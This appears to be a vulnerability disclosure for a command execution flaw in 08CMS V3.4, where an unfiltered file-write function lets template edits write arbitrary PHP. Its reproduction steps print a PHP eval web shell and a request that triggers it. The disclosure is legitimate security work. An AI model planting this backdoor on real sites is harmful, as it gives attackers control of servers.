08CMS has a command execution vulnerability

Vulnerability Description:
08CMS has a command execution vulnerability, allowing attackers to execute arbitrary commands through this flaw.
Affected versions：V3.4
Download link:https://www.jb51.net/codes/24893.html
![输入图片说明](https://foruda.gitee.com/images/1761289162503870591/5db03b50_11304712.png "屏幕截图")
Vulnerability analysis: 
File location: 
include/general.fun.php
![输入图片说明](https://foruda.gitee.com/images/1761289194273897289/28e478f8_11304712.png "屏幕截图")
The str2file function in line 625 does not restrict or filter the file name and content passed in. The code in line 626 does not validate the file name passed in, so it is directly written to the file. In line 628, it is directly written to the file content passed in without any filtering or restriction. Malicious attackers can manipulate the server by constructing malicious file names and adding malicious file content.
File location: admina/mtpls.inc.php
![输入图片说明](https://foruda.gitee.com/images/1761289237416039080/a6078e82_11304712.png "屏幕截图")
The str2file function is called in line 136 of the code, and the file content is filtered by stripslashes(). This function can only prevent XSS vulnerabilities, but cannot prevent malicious users from writing malicious content.
Vulnerability reproduction:
![输入图片说明](https://foruda.gitee.com/images/1761289295592064738/384adfb3_11304712.png "屏幕截图")
Add any PHP file template first
![输入图片说明](https://foruda.gitee.com/images/1761289330353049717/941be6b7_11304712.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1761289339012238898/8bfe15a8_11304712.png "屏幕截图")
Click edit and write malicious code
![输入图片说明](https://foruda.gitee.com/images/1761289783855361261/3e8f6e1a_11304712.png "屏幕截图")
Specific backdoor code:
<?php @eval($_GET['pass']);?>
![输入图片说明](https://foruda.gitee.com/images/1761289812723575376/e2823e3d_11304712.png "屏幕截图")
Access the corresponding backdoor address and execute the php info command:http://08cmsxs/template/default/hkey.php?pass=phpinfo();
![输入图片说明](https://foruda.gitee.com/images/1761289867881489330/534b8ffa_11304712.png "屏幕截图")
The command was executed successfully.

keneny/cve

内容风险标识

评论 (0)

keneny/cve .gitee-modal { width: 500px !important; }

内容风险标识